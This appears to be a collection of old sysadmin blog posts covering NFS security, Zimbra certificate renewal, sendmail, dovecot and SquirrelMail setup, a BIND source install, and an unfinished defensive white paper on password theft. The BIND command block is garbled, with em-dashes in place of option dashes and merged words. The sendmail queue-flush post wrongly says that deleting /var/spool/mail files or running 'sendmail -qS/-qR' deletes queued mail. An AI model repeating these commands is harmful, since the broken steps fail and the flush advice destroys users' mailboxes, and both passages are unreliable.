client, then they will have access to all the files of a user named nfsuser on
the NFS server. It is best, therefore, to
use the /etc/exports file to limit access to certain trusted servers or
networks. 

You may also want to use a firewall to protect access to the NFS
server. A main communication control channel is usually created between the
client and server on TCP port 111, but the
data is frequently transferred on a randomly chosen TCP
port negotiated between them. There are ways to limit the TCP
ports used, but that is beyond the scope of this book. 

You may also want to eliminate any wireless networks between your NFS
server and client, and it is not wise to mount an NFS
share across the Internet as access could be either slow, intermittent or
insecure. 

File Permissions

The NFS file permissions on the NFS
server are inherited by the client. It can become complicated especially if the
users and user groups on the NFS client that
are expected to access data on the NFS
server don't exist on the NFS server. 

For simplicity, make the key users and groups on both systems match and make
sure the permissions on the NFS client mount
point and the exported directories of the NFS
server are in keeping with the your operational objectives. 

Conclusion

As you have seen NFS can be a very
powerful tool in providing clients with access to large amounts of data, such
as a database stored on a centralized server. Many of the new network-attached
storage products currently available on the market rely on NFS
- a testament to its popularity, increasing stability, and improving security. 

ZImbra Issues

2012-08-16T14:41:00.001+05:30

If the error is bad file descriptor check the validity of the Zimbra Certificate : if it expires please do the following

Check the Logs :

# tail zmmtaconfig.log -n 100

Single-Node Self-Signed Certificate

1. Begin by generating a new Certificate Authority (CA).

#zmcertmgr createca -new

2. Then generate a certificate signed by the CA that expires in 365 days.

#zmcertmgr createcrt -new -days 365

3. Next deploy the certificate.

#zmcertmgr deploycrt self

4. Next deploy the CA.

#zmcertmgr deployca

5. To finish, verify the certificate was deployed to all the services.

# zmcertmgr viewdeployedcrt

# /opt/zimbra/java/bin/keytool -import -alias root -keystore /opt/zimbra/java/jre/lib/security/cacerts -storepass changeit -file /opt/zimbra/conf/ca/ca.pem

Choose the option YES

Now, please restart zimbra :
su - zimbra
zmcontrol stop
zmcontrol start

Linux User creation

2011-12-21T22:11:00.000+05:30

How to add a user in Linux ?
useradd is the command to adduser in Linux
useradd is having following option:
(1) useradd
-d "/home/user1" --> user home directory
-c " THIS IS a test user" ---> Comment about the user
-s "/bin/bash" --->Shell for the user other option are /bin/csh,/sbin/nologin
-g "Group name"-->Group name for user
User name
#useradd -d /home/dir -c "this is a admin user " -s /bin/bash -G staff user1

How to enable telnet on windows 7

2011-12-18T23:46:00.001+05:30

In windows 7 Home/Professional version to enable telnet. Perform the following steps:
Go to Start Menu--> Control Panel--->Select the option Program and Features

.Click on the option Turn Windows Features on or OFF
Turn Telnet Client (Option ).

sendmail complete cofiguration with pop3 and squirrelmail

2011-12-10T10:13:00.001+05:30

Sendmail

Introduction

Sendmail implements a general purpose internetwork mail routing facility. This document explain how to install sendmail and run an email server which will send and receive mail using the SMTP protocol.

An IMAP or POP3 server is required to retrieve mail using Eudora or MS Outlook. Sendmail does not offer POP3 or IMAP services.

Installation

Prerequisites

You should have a basic knowledge of UNIX and DNS.

The server should allow incoming connections to the SMTP service which will be listening on TCP port 25.

The server should have a fully qualified hostname (FQDN) such as mail.example.net.

The hostname should resolve to an A record. It should not be a CNAME.

The MX record for the domain for which you wish to receive mail should point to the hostname of your server.

There should a PTR record for the IP address of your server. Mail from your server may be rejected if there is no reverse DNS.

Installing sendmail

Download the sendmail source code from the sendmail website.

Extract the files from the downloaded file.
Change the current directory to where the sendmail source code was extracted.
Enter the following command:

sh Build

If there are no errors, you may continue with the installation.
If you are installing sendmail 8.12.x, 8.13.x, or 8.14.x

Verify whether you have a user smmsp. Create the user if it does not exist. The user should not be assigned a login shell.
Verify whether you have a group called smmsp.

Enter the following command:

sh Build install

The sendmail binary is now installed. The next step is to configure sendmail.

Configuring sendmail

The main configuration file for sendmail is the /etc/mail/sendmail.cf file. Starting with version 8.12, sendmail uses the /etc/mail/submit.cf configuration file for mail submission. The .cf files are complex to understand. It is recommended that you create a .mc configuration file and use the M4 (macro processor) to generate the .cf file.

There are some sample .mc configuration files in the cf/cf/ directory of the sendmail source code. Alternatively, you can use one of the sample configuration files available from this website. You should edit the .mc file with a UNIX text editor such as vi.

Change the current directory to cf/cf directory.
Copy your .mc configuration file to the current directory as sendmail.mc.
To generate the sendmail.cf, enter the following command:

sh Build sendmail.cf

To install the sendmail.cf as /etc/mail/sendmail.cf and submit.cf as /etc/mail/submit.cf, enter the following command:

sh Build install-cf

The following sample configuration files are available for download. If you are using a smarthost, you will find a sample configuration here.

If you already have sendmail installed and configured, you can generate a new sendmail.cf file by using the following command:

m4 directory/m4/cf.m4 config.mc > sendmail.cf

The directory for the sendmail m4/cf.m4 file depends on the operating system you are using:

Debian /usr/share/sendmail.cf
FreeBSD /usr/share/sendmail/cf
MacOS X /usr/share/sendmail/conf
OpenBSD /usr/share/sendmail
NetBSD /usr/share/sendmail/cf
RedHat /usr/share/sendmail-cf or /usr/lib/sendmail-cf
Slackware 8.0 /usr/src/sendmail/
Slackware 8.1 /usr/share/sendmail/cf
Solaris /usr/lib/mail

On Solaris, for example, type:

m4 /usr/lib/mail/m4/cf.m4 config.mc > sendmail.cf

Verify whether you have the following files in /etc/mail

local-host-names
relay-domains
aliases
access

The local-host-names file should contain the domain name for which your mail server should accept mail. It is recommended that you also add localhost to this file. Each entry should be on a new line.

If there is no relay-domains file, create one with the following command:

touch /etc/mail/relay-domains

The aliases file should contain the following entries at least:

postmaster:   root
abuse:        root
security:     root

In the above example, postmaster is an alias for the root mailbox. The following command will generate the aliases table:

newaliases

You can create a new access file by typing

touch /etc/mail/access

The default database map type for Linux, FreeBSD, NetBSD or OpenBSD is hash. Type the following to generate the data bases:

makemap hash /etc/mail/access < /etc/mail/access

If you are using the smarthost.mc or smarthost-dialup.mc, create a genericstable file and type:

makemap hash /etc/mail/genericstable < /etc/mail/genericstable

You can now start sendmail.

Sendmail administration

Starting sendmail

The sendmail MTA can be started with the following command:

/usr/sbin/sendmail -L sm-mta -bd -q30m
or
/usr/sbin/sendmail -bd -q30m (versions 8.9.x, 8.10.x, 8.11.x)

The Mail Submission Agent listens for incoming connections on TCP port 587.

If you are using sendmail 8.12, 8.13 or 8.14, enter the following command to start the Mail Submission Program:

/usr/sbin/sendmail -L sm-msp-queue -Ac -q30m

Shutting down sendmail

You can shutdown sendmail by entering the following command:

kill `head -1 /var/run/sendmail.pid`

Viewing the mail queue

You can display the contents of the mail queue with the following command:

/usr/bin/mailq

Process messages saved in the mail queue

You can process messages saved in the mail queue with the following command:

/usr/sbin/sendmail -q

Troubleshooting

Verifying whether sendmail is running

You can verify whether sendmail is running by running the following command:

telnet localhost 25

You will see the sendmail banner which shows the version of sendmail you are using. Type quit and press Enter to exit to the shell.

Testing SMTP

A SMTP test can be done to verify email delivery. Type:

telnet mail.example.net 25

Type the text in bold when you see the following and press Enter

SERVER:220 local ESMTP Sendmail 8.13.5/8.13.5; Wed, 15 Mar 2006 01:51:21 -0800 (PST)
USER:HELO host.example.com
SERVER:250 mail.example.net Hello host.example.com [192.0.2.1], pleased to meet you
USER:MAIL FROM:<user@example.com>
SERVER:250 2.1.0 <user@example.com>... Sender ok
USER:RCPT TO:<postmaster@example.net>
SERVER:250 2.1.5 <postmaster@example.net>... Recipient ok
USER:DATA
SERVER:354 Enter mail, end with "." on a line by itself
USER:This is a test message
USER:.
SERVER:250 2.0.0 k2FApLlB020139 Message accepted for delivery
USER:QUIT
SERVER:221 2.0.0 mail.example.net closing connection

Mail log

The mail log is usually written to /var/log/maillog

Sendmail configuration files

/etc/mail/local-host-names

Add the domains (one per line) for which you want mail to be delivered locally to this file.

/etc/mail/relay-domains

If the system is acting as a secondary MX server, add the domains (one per line) to this file.

/etc/mail/aliases

Add your aliases to this file, then run newaliases to update the data base.

/etc/mail/access

This file is used to allow or disallow relaying. The configuration section explains howto run makemap to update the data base.

File and directory permissions

The following permissions are generally required for sendmail related files and directories:

-r-xr-sr-x root smmsp /usr/sbin/sendmail
drwxrwx--- smmsp smmsp /var/spool/clientmqueue
drwx------ root wheel /var/spool/mqueue
-r--r--r-- root wheel /etc/mail/sendmail.cf
-r--r--r-- root wheel /etc/mail/submit.cf

Mail relaying

Mail relaying occurs when mail is forwarded from someone else through your mail server. Forwarding mail through a mail server is perfectly natural as long as either the originator of the message or the receiver is a authorized user. If neither the sender nor the recipient of the message is a local user, it is called third-party mail relaying.

Mail servers should be configured not to accept third-party mail relay. If a mail server allows third-party mail relaying from everyone, it is known as an open relay. Such a mail server attracts spammers as it can be used to send large amounts of junk mail under false identity.

If the client computer from which you are connecting from has a static IP address, you can add the following entry, for example, to allowing relaying (send mail):

192.168.0.5 <TAB> RELAY (allows 192.168.0.5 to relay)

192.168.1 <TAB> RELAY (allows 192.168.1/24 to relay)

You should run the makemap command after modifying the access file.

If you are connecting from a dynamic IP address, you should use SMTP AUTH to allow relaying.

Mail submission

Sendmail has been split into two parts, with one part handling mail submission. This allows sendmail to run without being SUID root.

The Mail Submission Program (MSP) uses the /var/spool/clientmqueue directory by default. It will use the /etc/mail/submit.cf configuration file. That configuration file can be generated from the submit.mc using m4.

The MSP will send outgoing mail by passing it to localhost on port 25 using the SMTP protocol. As of sendmail version 8.12.x, you should have sendmail running as a daemon and listening on localhost at least.

Acronyms

LDA Local Delivery Agent a program that a mail server uses to deliver mail messages to the mailboxes of users. This program is also known as local mailer (e.g. mail, procmail).

MUA Mail User Agent a program that a user uses to process mail messages (e.g. MS Outlook, Eudora, Pine, Mutt).

MTA Mail Transfert Agent a program that a mail server uses to send and receive mail messages using SMTP (e.g. sendmail).

MSA Mail Submission Agent.

MSP Mail Submission Program.

SMTP Simple Mail Transfer Protocol

2^nd Method Sendmail

Before Installing Sendmail check the following

gcc should be installed
gruff should be installed

First, we want to remove all the RPM stuff. A general note here. We are removing the RPMs, because we want to write all of the articles from the perspective of a generic Linux distribution as much as possible. True, we rely on the default file structure and general layout of Red Hat; however, by removing the RPMs and compiling/installing from source, we feel these articles are more useful. OK. On to removing the sendmail RPMs and related files:

[root@srv-34 /root]# rpm -qa | grep sendmail

sendmail-8.11.2-14

sendmail-cf-8.11.2-14

[root@srv-34 /root]# rpm -e sendmail-cf-8.11.2-14

[root@srv-34 /root]# rpm -e sendmail-8.11.2-14

error: removing these packages would break dependencies:

smtpdaemon is needed by fetchmail-5.7.4-4

smtpdaemon is needed by mutt-1.2.5i-9

[root@srv-34 /root]# rpm -e fetchmail-5.7.4-4

[root@srv-34 /root]# rpm -e mutt-1.2.5i-9

[root@srv-34 /root]# rpm -e sendmail-8.11.2-14

[root@srv-34 /root]#

All gone. Now let's extract the latest sendmail from sendmail.org:

[root@srv-34 /root]# cd /usr/local/src

[root@srv-34 src]# ls

sendmail.8.11.4.tar.gz

[root@srv-34 src]#

[root@srv-34 src]# tar -xzf *.gz

[root@srv-34 src]# ls

sendmail-8.11.4 sendmail.8.11.4.tar.gz

[root@srv-34 src]# cd send*

[root@srv-34 sendmail-8.11.4]#

Now let's build sendmail:

[root@srv-34 sendmail-8.11.4]# sh Build

Making all in:

/usr/local/src/sendmail-8.11.4/libsmutil

cc -O -I. -I../../sendmail -I../../include -DNEWDB -DNOT_SENDMAIL -c -o vacation.o vacation.c

cc -o vacation vacation.o ../libsmdb/libsmdb.a ../libsmutil/libsmutil.a

-ldb -lresolv -lcrypt -lnsl -ldl

groff -Tascii -man vacation.1 > vacation.0 || cp vacation.0.dist vacation.0

make[1]: Leaving directory `/usr/local/src/sendmail-8.11.4/obj.Linux.2.4.2-2.i586/vacation'

[root@srv-34 sendmail-8.11.4]#

All good. Now what we want to do is build a config.cf file and copy it to /etc/mail.

[root@srv-34 sendmail-8.11.4]# cd cf/cf

[root@srv-34 cf]#

[root@srv-34 cf]# ls

Build generic-bsd4.4.mc generic-solaris2.cf Makefile

chez.cs.mc generic-hpux10.cf generic-solaris2.mc python.cs.mc

clientproto.mc generic-hpux10.mc generic-sunos4.1.cf s2k-osf1.mc

cs-hpux10.mc generic-hpux9.cf generic-sunos4.1.mc s2k-ultrix4.mc

cs-hpux9.mc generic-hpux9.mc generic-ultrix4.cf tcpproto.mc

cs-osf1.mc generic-linux.cf generic-ultrix4.mc ucbarpa.mc

cs-solaris2.mc generic-linux.mc huginn.cs.mc ucbvax.mc

cs-sunos4.1.mc generic-nextstep3.3.cf knecht.mc uucpproto.mc

cs-ultrix4.mc generic-nextstep3.3.mc mail.cs.mc vangogh.cs.mc

cyrusproto.mc generic-osf1.cf mail.eecs.mc

generic-bsd4.4.cf generic-osf1.mc mailspool.cs.mc

[root@srv-34 cf]#

[root@srv-34 cf]# cat generic-linux.mc

divert(-1)

# By using this file, you agree to the terms and conditions set

# forth in the LICENSE file which can be found at the top level of

# the sendmail distribution.

# This is a generic configuration file for Linux.

# It has support for local and SMTP mail only. If you want to

# customize it, copy it to a name appropriate for your environment

# and do the modifications there.

divert(0)dnl

VERSIONID(`$Id: generic-linux.mc,v 8.1 1999/09/24 22:48:05 gshapiro Exp $')

OSTYPE(linux)dnl

DOMAIN(generic)dnl

MAILER(local)dnl

MAILER(smtp)dnl

[root@srv-34 cf]#

[root@srv-34 cf]# mkdir /etc/mail

[root@srv-34 cf]#

[root@srv-34 cf]# mkdir /var/spool/mqueue

[root@srv-34 cf]#

[root@srv-34 cf]# cp generic-linux.mc config.mc

[root@srv-34 cf]# sh Build config.cf

Using M4=/usr/bin/m4

rm -f config.cf

/usr/bin/m4 ../m4/cf.m4 config.mc > config.cf || ( rm -f config.cf && exit 1 )

chmod 444 config.cf

[root@srv-34 cf]#

[root@srv-34 cf]# cp config.cf /etc/mail/sendmail.cf

[root@srv-34 cf]#

We need to go back a couple of directories to the root of the sendmail source tree and install sendmail:

[root@srv-34 cf]# cd ..

[root@srv-34 sendmail-8.11.4]# sh Build install

Making all in:

/usr/local/src/sendmail-8.11.4/libsmutil

install -c -o bin -g bin -m 444 vacation.0 /usr/man/man1/vacation.1

install: cannot create regular file `/usr/man/man1/vacation.1': No such file or directory

make[1]: *** [install-docs] Error 1

make[1]: Leaving directory `/usr/local/src/sendmail-8.11.4/obj.Linux.2.4.2-2.i586/vacation'

make: *** [all] Error 2

[root@srv-34 sendmail-8.11.4]#

Hmmmm... Notice how the path for the man pages is wrong? They should be in /usr/share/man. What we can do to solve this is to copy /usr/local/src/sendmail-8.11.4/devtools/OS/Linux to /usr/local/src/sendmail-8.11.4/devtools/Site/site.config.m4, and edit it so that we have:

[root@srv-34 Site]# pwd

/usr/local/src/sendmail-8.11.4/devtools/Site

[root@srv-34 Site]# ls

Linux README site.config.m4

[root@srv-34 Site]# cat site.config.m4

# $Id: Linux,v 8.18.4.3 2000/12/14 01:04:46 rand Exp $

define(`confDEPEND_TYPE', `CC-M')

define(`confMANROOT', `/usr/share/man/man')

define(`confLIBS', `-ldl')

define(`confEBINDIR', `/usr/sbin')

APPENDDEF(`confLIBSEARCH', `crypt nsl')

define(`confLD', `ld')

define(`confMTLDOPTS', `-lpthread')

define(`confLDOPTS_SO', `-shared')

define(`confSONAME',`-soname')

ifelse(confBLDVARIANT, `DEBUG',

dnl Debug build

define(`confOPTIMIZE',`-g -Wall')

dnl Optimized build

confBLDVARIANT, `OPTIMIZED',

define(`confOPTIMIZE',`-O')

dnl Purify build

confBLDVARIANT, `PURIFY',

define(`confOPTIMIZE',`-g -Wall')

dnl default

define(`confOPTIMIZE',`-O')

[root@srv-34 Site]#

Now, we can try again. We need to use the -c option because we changed the configuration:

[root@srv-34 sendmail-8.11.4]# sh Build -c -f /usr/local/src/sendmail-8.11.4/devtools/Site/site.config.m4 install

Making all in:

/usr/local/src/sendmail-8.11.4/libsmutil

Configuration: pfx=, os=Linux, rel=2.4.2-2, rbase=2, rroot=2.4, arch=i586, sfx=, variant=optimized

-ldb -lresolv -lcrypt -lnsl -lcrypt -lnsl -ldl

install -c -o bin -g bin -m 555 vacation /usr/bin

groff -Tascii -man vacation.1 > vacation.0 || cp vacation.0.dist vacation.0

install -c -o bin -g bin -m 444 vacation.0 /usr/share/man/man1/vacation.1

make[1]: Leaving directory `/usr/local/src/sendmail-8.11.4/obj.Linux.2.4.2-2.i586/vacation'

[root@srv-34 sendmail-8.11.4]#

OK. That worked. We need to create an empty (for now) local-host-names file:

[root@srv-34 mail]# cat /dev/null > local-host-names

Let's go over to srv-33 and do the same thing, but this time we will run a mail daemon. We need to create a /etc/aliases.db file. For now, we will just create an empty /etc/aliases and run newaliases:

[root@srv-33 /root]# cat /dev/null > /etc/aliases

[root@srv-33 /root]# newaliases

/etc/mail/aliases: 0 aliases, longest 0 bytes, 0 bytes total

[root@srv-33 /root]#

Let's start the daemon manually:

[root@srv-33 sendmail-8.11.4]# sendmail -bd -q30m

Now, on srv-34... First, let's send mail:

[root@srv-34 log]# sendmail u-1@srv-33

test from srv-34

Now, let's check the logs on srv-34:

[root@srv-34 log]#

[root@srv-34 log]# cat /var/log/maillog

Jun 11 13:49:15 srv-34 sendmail[10794]: f5BKmwd10794: from=root, size=19,

class=0, nrcpts=1, msgid=<200106112048.f5BKmwd10794@srv-34.signalq.com>,

relay=root@localhost

Jun 11 13:49:15 srv-34 sendmail[10796]: f5BKmwd10794: to=u-1@srv-33,

ctladdr=root (0/0), delay=00:00:17, xdelay=00:00:00, mailer=esmtp, pri=30019,

relay=srv-33.signalq.com. [10.50.100.51], dsn=2.0.0, stat=Sent (f5BKlg906302i

Message accepted for delivery)

[root@srv-34 log]#

OK. Let's get our mail via pine on srv-34, logging on to the u-1 account on srv-33 via IMAP:

[root@srv-34 sendmail-8.11.4]# pine

PINE 4.33 MESSAGE TEXT Folder: INBOX Message 3 of 3 ALL

Return-Path:

Received: from srv-34.signalq.com (srv-34.signalq.com [10.50.100.53])

by srv-33.signalq.com (8.11.4/8.11.4) with ESMTP id f5BKlg906302

for ; Mon, 11 Jun 2001 13:47:42 -0700

Received: (from root@localhost)

by srv-34.signalq.com (8.11.4/8.11.4) id f5BKmwd10794

for u-1@srv-33; Mon, 11 Jun 2001 13:48:58 -0700

Date: Mon, 11 Jun 2001 13:48:58 -0700

From: root

Message-Id: <200106112048.f5BKmwd10794@srv-34.signalq.com>

test from srv-34

[Already at end of message]

? Help J Jump H HdrMode * Flag

O OTHER CMDS : SelectCur Tab NextNew B Bounce | Pipe

We can see this stuff on srv-33's logs:

[root@srv-33 mail]# cat /var/log/maillog

Jun 11 13:47:42 srv-33 sendmail[6302]: f5BKlg906302: from=, size=302, class=0, nrcpts=1, msgid=<200106112048.f5BKmwd10794@c

allisto .signalq.com>, proto=ESMTP, daemon=MTA, relay=srv-34.signalq.com [10.5

0.100.53]

Jun 11 13:47:42 srv-33 sendmail[6303]: f5BKlg906302: to=, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30026, dsn=2.0.

0, stat=Sent

Jun 11 13:48:26 srv-33 imapd[6305]: imap service init from 10.50.100.53

Jun 11 13:48:32 srv-33 imapd[6305]: Authenticated user=u-1 host=srv-34.s

ignalq.com [10.50.100.53]

Let's start sendmail automatically by adding: /usr/sbin/sendmail -bd -q30m to the bottom of /etc/rc.d/rc.local.

Do note that we have configured very little here, and we have not addressed security issues. We will cover this in other articles.

Configuring Your POP Mail Server

Each user on your Linux box will get mail sent to their account's mail folder, but sendmail just handles mail sent to your my-site.com domain. If you want to retrieve the mail from your Linux box's user account using a mail client such as Evolution, Microsoft Outlook or Outlook Express, then you have a few more steps. You'll also have to make your Linux box a POP mail server.

Fedora Linux comes with the easy to use dovecot IMAP/POP server RPM package which requires very little configuration after installation.

Installing Your POP Mail Server

Most RedHat and Fedora Linux software products are available in the RPM format. You will need to make sure that the dovecot software RPM is installed. (Chapter 6, "Installing RPM Software", will tell you how.) When searching for the RPMs, remember that the filename usually starts with the software package name by a version number, as in dovecot-0.99.11-1.FC3.4.i386.rpm.

Starting Your POP Mail Server

You can use the chkconfig command to get dovecot configured to start at boot:

[root@bigboy tmp]# chkconfig dovecot on

To start, stop, and restart dovecot after booting, use

[root@bigboy tmp]# service dovecot start

[root@bigboy tmp]# service dovecot stop

[root@bigboy tmp]# service dovecot restart

Remember to restart the dovecot process every time you make a change to the configuration files for the changes to take effect on the running process. You can also test whether the dovecot process is running with the pgrep command:

[root@bigboy tmp]# pgrep dovecot

You should get a response of plain old process ID numbers:

The /etc/dovecot.conf File

You can define most of dovecot's configuration parameters in the /etc/dovecot.conf file. By default dovecot will act as a server for IMAP, secure IMAP (IMAPS), POP and secure POP (POPS). You can limit this list by editing the protocols line in the /etc/dovecot.conf file and then restarting dovecot for the change to take effect. In the example below dovecot is configured to serve only POP3.

# File /etc/dovecot.conf sample

# Protocols we want to be serving imap imaps pop3 pop3s

#protocols = imap imaps pop3 pop3s

protocols = pop3

You can then use the netstat command to do a simple preliminary test to make sure dovecot is serving POP3 only.

[root@bigboy tmp]# netstat -a | egrep -i 'pop|imap'

tcp 0 0 *:pop3 *:* LISTEN

[root@bigboy tmp]#

3. Installing SquirrelMail

3.1 Quick and Dirty install

In order to use SquirrelMail, you should take the following steps.

Download all required software

You can find SquirrelMail package on SquirrelMail site. PHP can be found on PHP site.

Install webserver and PHP (at least 4.1.0).

SquirrelMail needs a webserver with PHP support. Check PHP install manual for information about supported web servers and install procedures.

Some Linux and Unix distributions provide precompiled web server and php packages.

We recommend the following PHP settings:

register_globals off - a dangerous setting, not needed. We do not release security advisories for issues only exploitable with this setting on. Note that you can easily enable it only for some legacy site that may need it and turn it off globally.
magic_quotes_{runtime,gpc,sybase} off - SquirrelMail may work with any of these on, but if you experience stray backslashes in your mail or other strange behaviour, it may be advisable to turn them off.
file_uploads on - needed if your users want to attach files to their mails.
safe_mode on or off - safe_mode on is only a tiny bint more secure, in the SquirrelMail case. There may be some incompatibilities with some functionality (see Safe mode).

Install IMAP server

It depends on used email system. Email server needs IMAP service that knows used email system layout. If you use Unix with standard sendmail server, you might have to install UW IMAP, Dovecot or other IMAP server, that can use email stored in /var/spool/mail/ directory. If you use Windows, you might have to enable IMAP service that is bundled with your email server. If your email server does not support IMAP, you might have to find some other email server product.

Unpack SquirrelMail package

Unpack the SquirrelMail package in a web-accessible location.

Prepare data and attachment directories

Select a data-dir and attachment dir, outside the webtree (e.g. in /var). The data-dir (for user prefs) should be owned by the user the webserver runs as (e.g. www-data). The attachment dir (for uploading files as attachments) should be file mode 0730 and in the same group as the webserver.

If you use PHP with safe mode enabled, check chapter about safe mode.

Configure SquirrelMail

Run config/conf.pl from the command line. Use the D option to load predefined options for specific IMAP servers, and edit at least the Server Settings and General Options (datadir).

Check your SquirrelMail configuration

Browse to http://example.com/yourwebmaillocation/src/configtest.php to test your configuration for common errors.

Log into SquirrelMail

Browse to http://example.com/yourwebmaillocation/ to log in.

3.2 Installing SquirrelMail on Unix and Linux systems

This chapter covers installation of SquirrelMail on generic Unix or Linux system. It does not cover installation of operating system or tools required to install web server or PHP.

Any version numbers used in examples are specific to the time when this documentation is written. If current version numbers differ, make sure that you are not using old, obsolete or vulnerable software.

Guide uses UW IMAP server as example. This IMAP server can be used in generic email setup when incoming mail is stored in /var/spool/mail directory. If you are planning to use webmail with big number of users or with bigger mailboxes, consider using different IMAP server and redesign entire email system.

Download required software

You will need:

Apache - http://httpd.apache.org/download.cgi
PHP - http://php.net/downloads.php
UW IMAP - http://www.washington.edu/imap/
SquirrelMail - http://squirrelmail.org/download.php

# install -d /usr/local/src/downloads

# cd /usr/local/src/downloads

# wget http://some-apache-mirror-server/apache/httpd/httpd-2.0.54.tar.gz

# wget http://some-php-mirror-server/get/php-4.3.11.tar.bz2/from/this/mirror

# wget ftp://ftp.cac.washington.edu/mail/imap.tar.Z

# wget http://some-sourceforge-mirror/some-path/squirrelmail-1.4.5.tar.bz2

Unpack and install apache

# cd /usr/local/src

# tar -xzvf /usr/local/src/downloads/httpd-2.0.54.tar.gz

# cd httpd-2.0.54

# ./configure --prefix=/usr/local/apache --enable-module=so

# make

# make install

Unpack and install php

# cd /usr/local/src

# tar --bzip2 -xvf /usr/local/src/downloads/php-4.3.11.tar.bz2

# cd php-4.3.11

# ./configure --prefix=/usr/local/php \

> --with-apxs2=/usr/local/apache/bin/apxs

# make

# make install

If you configure PHP compilation with --disable-all option, you must add --enable-session and --with-pcre-regex options.

Add PHP support to apache

AddType application/x-httpd-php .php

</IfModule>

Restart apache and check if php is working

/usr/local/apache/bin/apachectl graceful

<?php phpinfo(); ?>

Unpack and install imap server

Unpack UW IMAP archive.

# cd /usr/local/src

# tar -xzvf /usr/local/src/downloads/imap.tar.Z

Compile UW IMAP

cd /usr/local/src/imap-<someversion>

make port-name EXTRADRIVERS='' SSLTYPE=unix

Replace port-name with name that matches your system. Check Makefile for possible values. If you haven't installed OpenSSL libraries and headers, use SSLTYPE=none instead of SSLTYPE=unix.

Install IMAP server binary

strip imapd/imapd

install -d /usr/local/libexec/

cp imapd/imapd /usr/local/libexec/

Enable IMAP server in inetd.conf

imap2 stream tcp nowait root /usr/sbin/tcpd /usr/local/libexec/imapd

Restart inetd

Prepare SquirrelMail directories

# mkdir /usr/local/squirrelmail

# cd /usr/local/squirrelmail

# mkdir data temp

# chgrp nogroup data temp

# chmod 0730 data temp

Unpack SquirrelMail

# cd /usr/local/squirrelmail

# tar --bzip2 -xvf /usr/local/src/downloads/squirrelmail-1.4.5.tar.bz2

# mv squirrelmail-1.4.5 www

Configure SquirrelMail

Start SquirrelMail configuration utility. Configure SquirrelMail with UW preset. Set data and attachment directories.

Configure access to SquirrelMail in Apache

Modify httpd.conf

Alias /squirrelmail /usr/local/squirrelmail/www

Options Indexes

AllowOverride none

DirectoryIndex index.php

Order allow,deny

allow from all

</Directory>

Log into SquirrelMail

After you add alias to SquirrelMail in apache configuration and restart apache, you should be able to access SquirrelMail by going to http://your-server/squirrelmail.

DNS Server configuration on Solaris/Linux/Unix system

2011-11-27T20:35:00.001+05:30

mkdir -p/usr/local/bind-9.8.1-P1/var/named
mkdir -p /usr/local/bind-9.8.1-P1/var/cache
mkdir /usr/local/bind-9.8.1-P1/var/run/named
chown bind:bind /usr/local/bind-9.8.1-P1/var/run/named/
chmod g+w /usr/local/bind-9.8.1-P1/var/run/named/
chmod g+w /usr/local/bind-9.8.1-P1/var/cache
chmod g+w /usr/local/bind-9.8.1-P1/var/named
cd /usr/local/
ln -s bind-9.8.1-P1/ bind
adduser —home /usr/local/bind/var/named —shell /bin/bash —disabled-password—disabled-login bind
cp /home/usuario/.bashrc /usr/local/bind/var/named/
cp /home/usuario/.profile /usr/local/bind/var/named/
chown -R bind:bind /usr/local/bind/var/named/
adduser bind staff
chgrp staff /usr/local/src
chmod g+w /usr/local/src
su - bind
cd /usr/local/src/
wget http://ftp.isc.org/isc/bind9/9.8.1-P1/bind-9.8.1-P1.tar.gz
tar -xzf bind-9.8.1-P1.tar.gz
cd bind-9.8.1-P1.tar.gz

./configure—prefix=/usr/local/bind-9.8.1-P1 —sysconfdir=/usr/local/bind-9.8.1-P1/etc—enable-threads —with-libtool > configure.out
less configure.out
make > make.out
less make.out
make install > make-install.out
usermod—shell /bin/false bind
cd/usr/local
chown -R root:bind bind
chmod o-rwx bind
cd bind
chmod g+r etc/rndc.key
Find thefiles where the paths need correction:
find . -type f |xargs grep "etc/bind"|awk '{print $1}'|uniq
Changethe old path /etc/bind to /usr/local/bind/etc:
find . -type f |xargs grep -l "/etc/bind"|while read file; do sed's/etc\/bind/usr\/local\/bind\/etc/g' "$file" > tmp && mvtmp "$file"; done
Changethe cache directory in named.conf.options from /var/cache/bind to/usr/local/bind/var/cache:
directory "/usr/local/bind/var/cache";
vinamed.conf
vi named.conf.local
vi named.conf.options

Sendmail

2011-11-27T20:24:00.001+05:30

If you ever felt the need of flushing the sendmail queue

How to flush sendmail queue under linux sendmail mailq command in linux how to flush mail queue in sendmail under linux
If u r worried about sendmail pending mail flush do the following 2 things.

1) manually method –> delete /var/spool/mail/*.* files in this dir –> delete /var/mqueue/*.* files
then check if all mail gone using mailq command. all mail will be deleted.

2) using command:
use simple command sendmail -v -q in root prompt. it will flush allpending mails. rest to confirm u can run mailq command if all arereally gone !!….

3) if u want particular domain or user or recepitience mail to delete use this command
sendmail -qS -v test.com it will delete all mail from *@test.com
sendmail -qR -v gmail.com it will delete all mail from recepient of gmail.com.

Hacking

2011-04-05T16:27:00.000+05:30

Search Engines are
one of the first things
people learn to use on
the Internet
Most use highly
effective search
algorithms to mine the
Internet.

Most provide equally
advanced search
abilities to the user

Introduction

Hacking, cracking, and cyber crimes are hot topics these days and will continue to be for the foreseeable future.

However, there are steps you can take to reduce your organization's threat level. The first step is to understand

what risks, threats, and vulnerabilities currently exist in your environment. The second step is to learn as much as possible about the problems so you can formulate a solid response.

The third step is to intelligently deploy your selected countermeasures and safeguards to erect protections around your most mission-critical assets.

This white paper discusses ten common methods hackers use to breach your existing security.

1. Stealing Passwords

Security experts have been discussing the problems with password security for years. But it seems that few

have listened and taken action to resolve those problems. If your IT environment controls authentication using

passwords only, it is at greater risk for intrusion and hacking attacks than those that use some form of multifactor

authentication.

The problem lies with the ever-increasing abilities of computers to process larger amounts of data in a smaller

amount of time. A password is just a string of characters, typically only keyboard characters, which a person

must remember and type into a computer terminal when required. Unfortunately, passwords that are too complex

for a person to remember easily can be discovered by a cracking tool in a frighteningly short period of

time. Dictionary attacks, brute force attacks, and hybrid attacks are all various methods used to guess or crack

passwords. The only real protection against such threats is to make very long passwords or use multiple factors

for authentication. Unfortunately, requiring ever longer passwords causes a reversing of security due to the

human factor. People simply are not equipped to remember numerous long strings of chaotic characters.

But even with reasonably long passwords that people can remember, such as 12 to 16 characters, there are

still other problems facing password-only authentication systems. These include:

• People who use the same password on multiple accounts, especially when some of those accounts are

on public Internet sites with little to no security.

• People who write their passwords down and store them in obvious places. Writing down passwords is

often encouraged by the need to frequently change passwords.

• The continued use of insecure protocols that transfer passwords in clear text, such as those used for

Web surfing, e-mail, chat, file transfer, etc.

• The threat of software and hardware keystroke loggers.

